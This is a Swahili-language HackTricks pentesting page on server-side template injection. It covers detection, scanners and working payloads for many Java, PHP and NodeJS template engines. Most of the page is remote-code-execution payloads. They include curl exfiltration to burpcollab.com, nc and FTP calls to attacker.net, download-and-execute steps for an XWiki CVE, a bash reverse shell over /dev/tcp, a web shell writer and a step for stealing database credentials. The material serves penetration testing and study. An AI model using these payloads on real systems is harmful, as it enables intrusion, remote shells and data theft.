SSTI (Server Side Template Injection)
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
What is SSTI (Server-Side Template Injection)
Server-side template injection ni udhaifu unaotokea wakati mshambulizi anaweza kuingiza nambari hatarishi ndani ya template inayotekelezwa kwenye server. Udhaifu huu unaweza kupatikana katika teknolojia mbalimbali, ikiwa ni pamoja na Jinja.
Jinja ni template engine maarufu inayotumika katika web applications. Tuchukulie mfano unaoonyesha vulnerable code snippet ukitumia Jinja:
output = template.render(name=request.args.get('name'))
Katika code hili lenye udhaifu, parameter ya name kutoka ombi la mtumiaji inapitishwa moja kwa moja kwenye template kwa kutumia render. Hii inaweza kumruhusu attacker kuingiza code hatarishi ndani ya parameter ya name, na kusababisha server-side template injection.
Kwa mfano, attacker anaweza kuunda ombi lenye payload kama hili:
http://vulnerable-website.com/?name={{bad-stuff-here}}
The payload {{bad-stuff-here}} is injected into the name parameter. Payload hii inaweza kuwa na maagizo ya template ya Jinja ambayo yanawezesha mshambuliaji kutekeleza code isiyoidhinishwa au kuingilia template engine, na kwa hivyo kupata udhibiti wa server.
Ili kuzuia server-side template injection vulnerabilities, waendelezaji wanapaswa kuhakikisha kuwa input za watumiaji zinasafishwa na kuthibitishwa ipasavyo kabla ya kuingizwa kwenye templates. Kutekeleza input validation na kutumia mbinu za context-aware escaping kunaweza kusaidia kupunguza hatari ya udhaifu huu.
Ugunduzi
Ili kugundua Server-Side Template Injection (SSTI), mwanzoni, fuzzing the template ni njia rahisi. Hii inahusisha kuingiza mnyororo wa herufi maalum (${{<%[%'"}}%\) katika template na kuchanganua tofauti katika majibu ya server kwa data ya kawaida ikilinganishwa na payload hii maalum. Viashiria vya udhaifu ni pamoja na:
- Makosa yanayotupwa, yanayofichua udhaifu na pengine template engine.
- Kukosekana kwa payload katika reflection, au sehemu zake kukosekana, ikimaanisha server inazitendea tofauti kuliko data ya kawaida.
- Muktadha wa Plaintext: Tofautisha na XSS kwa kuangalia kama server inafanya tathmini ya template expressions (mfano,
{{7*7}},${7*7}). - Muktadha wa Msimbo: Thibitisha udhaifu kwa kubadilisha parameters za input. Kwa mfano, badilisha
greetingkatikahttp://vulnerable-website.com/?greeting=data.usernamekuona kama output ya server ni inayobadilika au fasta, kamagreeting=data.username}}helloikirudisha username.
Awamu ya Utambuzi
Kumtambuisha template engine kunahusisha kuchambua ujumbe za makosa au kujaribu kwa mikono payload mbalimbali maalum kwa lugha. Payload za kawaida zinazosababisha makosa ni pamoja na ${7/0}, {{7/0}}, na <%= 7/0 %>. Kutazama jibu la server kwa operesheni za kihesabu husaidia kubaini engine maalum ya template.
Utambuzi kwa payloads
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg
- Taarifa zaidi kwenye https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Zana
TInjA
an efficient SSTI + CSTI scanner which utilizes novel polyglots
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Template Injection Table
meza ya mwingiliano inayowaonyesha template injection polyglots zenye ufanisi zaidi pamoja na majibu yanayotarajiwa ya template engines 44 muhimu zaidi.
Exploits
Misingi
Katika wordlist hii unaweza kupata variables defined katika mazingira ya baadhi ya engines zilizotajwa hapa chini:
- https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
- https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt
Java
Java - Basic injection
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Pata vigezo vya mazingira vya mfumo
${T(java.lang.System).getenv()}
Java - Pata /etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
Unaweza kujaribu payload zako kwenye https://try.freemarker.apache.org
{{7*7}} = {{7*7}}${7*7} = 49#{7*7} = 49 -- (legacy)${7*'7'} Nothing${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Sandbox bypass
⚠️ inafanya kazi tu kwenye matoleo ya Freemarker chini ya 2.3.30
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
Taarifa zaidi
- Katika sehemu ya FreeMarker ya https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
Velocity (Java)
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
Taarifa zaidi
- Katika sehemu ya Velocity ya https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf
Katika Thymeleaf, jaribio la kawaida kwa udhaifu wa SSTI ni expression ${7*7}, ambalo pia linatumika kwa template engine hii. Kwa uwezekano wa remote code execution, expressions kama zifuatazo zinaweza kutumika:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf inahitaji expressions hizi ziwe ndani ya attributes maalum. Hata hivyo, expression inlining inaungwa mkono kwa maeneo mengine ya template, ukitumia syntax kama [[...]] au [(...)]. Kwa hivyo, payload rahisi ya mtihani ya SSTI inaweza kuonekana kama [[${7*7}]].
Hata hivyo, uwezekano wa payload hii kufanya kazi kwa ujumla ni mdogo. Mipangilio ya default ya Thymeleaf haisaidii uundaji wa template kwa njia ya dynamic; templates lazima ziwe predefined. Waendelezaji watahitaji kutekeleza TemplateResolver yao wenyewe ili kuunda templates kutoka kwa strings on-the-fly, jambo ambalo si la kawaida.
Thymeleaf pia inatoa expression preprocessing, ambapo expressions ndani ya underscores mbili (__...__) zinachakatwa mapema. Kipengele hiki kinaweza kutumika katika uundaji wa expressions, kama inavyoonyeshwa katika nyaraka za Thymeleaf:
#{selection.__${sel.code}__}
Mfano wa Udhaifu katika Thymeleaf
Tafakari kipande cha msimbo kinachofuata, ambacho kinaweza kuwa hatarini kwa exploitation:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
Hii inaonyesha kwamba ikiwa template engine itashughulikia input hizi vibaya, inaweza kusababisha remote code execution ikifikia URLs kama:
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
Taarifa zaidi
Spring Framework (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Bypass filters
Multiple variable expressions zinaweza kutumika; ikiwa ${...} haifanyi kazi, jaribu #{...}, *{...}, @{...} au ~{...}.
- Soma
/etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- Custom Script kwa ajili ya utengenezaji wa payload
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
Taarifa Zaidi
Spring View Manipulation (Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
Pebble (Java)
{{ someString.toUPPERCASE() }}
Toleo la zamani la Pebble ( < version 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
Toleo jipya la Pebble :
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava ni mradi wa chanzo wazi uliotengenezwa na Hubspot, unapatikana kwenye https://github.com/HubSpot/jinjava/
Jinjava - Command execution
Imerekebishwa na https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Maelezo zaidi
Hubspot - HuBL (Java)
{% %}delimiters za tamko{{ }}delimiters za expression{# #}delimiters za maoni{{ request }}- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}- “A”{{'a'.concat('b')}}- “ab”{{'a'.getClass()}}- java.lang.String{{request.getClass()}}- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Tafuta “com.hubspot.content.hubl.context.TemplateContextRequest” na ugundue the Jinjava project on Github.
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Taarifa zaidi
Expression Language - EL (Java)
${"aaaa"}- “aaaa”${99999+1}- 100000.#{7*7}- 49${{7*7}}- 49${{request}}, ${{session}}, {{faceContext}}
Expression Language (EL) ni sifa ya msingi inayorahisisha mwingiliano kati ya safu ya uwasilishaji (kama web pages) na mantiki ya programu (kama managed beans) katika JavaEE. Inatumika sana katika teknolojia mbalimbali za JavaEE ili kurahisisha mawasiliano haya. Teknolojia kuu za JavaEE zinazotumia EL ni pamoja na:
- JavaServer Faces (JSF): Inatumia EL kufunga vipengele katika kurasa za JSF kwa data na vitendo vya backend vinavyofaa.
- JavaServer Pages (JSP): EL inatumiwa katika JSP kupata na kushughulikia data ndani ya kurasa za JSP, ikifanya iwe rahisi kuunganisha vipengele vya ukurasa na data ya programu.
- Contexts and Dependency Injection for Java EE (CDI): EL inaunganishwa na CDI kuruhusu mwingiliano usio na mshono kati ya safu ya wavuti na managed beans, ikihakikisha muundo wa programu wenye mshikamano zaidi.
Angalia ukurasa ufuatao ili kujifunza zaidi kuhusu exploitation of EL interpreters:
Groovy (Java)
Bypasses za Security Manager zifuatazo zilitolewa kutoka kwenye writeup.
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
XWiki SolrSearch Groovy RCE (CVE-2025-24893)
XWiki ≤ 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) inatoa feeds za utafutaji za RSS zisizoidhinishwa kupitia Main.SolrSearch macro. Mshughulikiaji hupokea query parameter ya text, anaiweka ndani ya syntax ya wiki na kutekeleza macros, hivyo kuingiza }}} ikifuatiwa na {{groovy}} hufanya Groovy yoyote itekelezwe kwenye JVM.
- Fingerprint & scope – Wakati XWiki iko nyuma ya reverse-proxy na host-based routing, fuzz header ya
Host(ffuf -u http://<ip> -H "Host: FUZZ.target" ...) ili kugundua wiki vhost, kisha vinjari/xwiki/bin/view/Main/na soma footer (XWiki Debian 15.10.8) ili kuthibitisha build yenye udhaifu. - Trigger SSTI – Omba
/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. Kituo cha RSS<title>kitakuwa na output ya Groovy. Daima “URL-encode all characters” ili nafasi zibaki kama%20; kuzibadilisha kuwa+hufanya XWiki kurudisha HTTP 500. - Run OS commands – Badilisha mwili wa Groovy kwa
{{groovy}}println("id".execute().text){{/groovy}}.String.execute()huanzisha amri moja kwa moja kwaexecve(), kwa hivyo shell metacharacters (|,>,&) hazitatafsiriwa. Tumia mtindo wa download-and-execute badala yake:
"curl http://ATTACKER/rev -o /dev/shm/rev".execute().text"bash /dev/shm/rev".execute().text(the script holds the reverse shell logic).
- Post exploitation – XWiki inahifadhi credentials za database katika
/etc/xwiki/hibernate.cfg.xml; leak yahibernate.connection.passwordhutoa nywila za mfumo halisi ambazo zinaweza kutumika tena kupitia SSH. Iwapo service unit imewekaNoNewPrivileges=true, zana kama/bin/suhazitapata privileges za ziada hata kwa nywila sahihi, kwa hivyo pivot kupitia SSH badala ya kutegemea binaries za SUID za ndani.
Payload ile ile inafanya kazi kwenye /xwiki/bin/get/Main/SolrSearch, na stdout ya Groovy daima imewekwa ndani ya title ya RSS, hivyo ni rahisi kuandika script za kuorodhesha amri.
Other Java
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg
- Taarifa zaidi katika https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
Taarifa zaidi
- Katika sehemu ya Smarty ya https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig (PHP)
{{7*7}} = 49${7*7} = ${7*7}{{7*'7'}} = 49{{1/0}} = Error{{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - muundo wa kiolezo
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
Taarifa zaidi
- Katika sehemu ya Twig na Twig (Sandboxed) ya https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates (PHP)
Plates ni injini ya templates ya asili kwa PHP, iliyochukulia msukumo kutoka Twig. Hata hivyo, tofauti na Twig, ambayo inaleta sintaksia mpya, Plates inatumia msimbo wa asili wa PHP ndani ya templates, hivyo kuifanya iwe rahisi kwa watengenezaji wa PHP.
Controller:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
Kiolezo cha ukurasa:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
Kiolezo cha mpangilio:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
Taarifa zaidi
PHPlib na HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB ni sawa na PHPlib lakini imehamishwa kwa Pear.
authors.tpl
<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
authors.php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
Maelezo zaidi
PHP Nyingine
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg
- Taarifa zaidi katika https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Jade (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
Taarifa zaidi
- Katika sehemu ya Jade ya https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade–codepen
patTemplate (PHP)
patTemplate injini ya templating ya PHP isiyokomilika (non-compiling), inayotumia lebo za XML kugawanya hati katika sehemu mbalimbali
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
Taarifa zaidi
Handlebars (NodeJS)
Path Traversal (maelezo zaidi here).
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = Kosa
- ${7*7} = ${7*7}
- Hakuna kitu
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
Taarifa zaidi
JsRender (NodeJS)
| Kiolezo | Maelezo |
|---|---|
| Tathmini na onyesha matokeo | |
| Tathmini na onyesha matokeo yaliyokodishwa kwa HTML | |
| Maoni | |
| na | Ruhusu code (imezimwa kwa chaguo-msingi) |
- = 49
Upande wa mteja
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
Upande wa Server
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
Maelezo zaidi
PugJs (NodeJS)
#{7*7} = 49#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Mfano wa render upande wa seva
var pugjs = require("pug")
home = pugjs.render(injected_page)
Taarifa zaidi
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = Hakuna pato
- #{7*7} = #{7*7}
- {{console.log(1)}} = Hitilafu
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}
Taarifa zaidi
Sandboxes za expression za NodeJS (vm2 / isolated-vm)
Baadhi ya watengenezaji wa workflow hutathmini expressions zinazoendeshwa na watumiaji ndani ya Node sandboxes (vm2, isolated-vm), lakini muktadha wa expression bado unaonyesha this.process.mainModule.require. Hii inamruhusu mshambuliaji kupakia child_process na kutekeleza amri za OS hata wakati nodi maalum za “Execute Command” zimezimwa:
={{ (function() {
const require = this.process.mainModule.require;
const execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
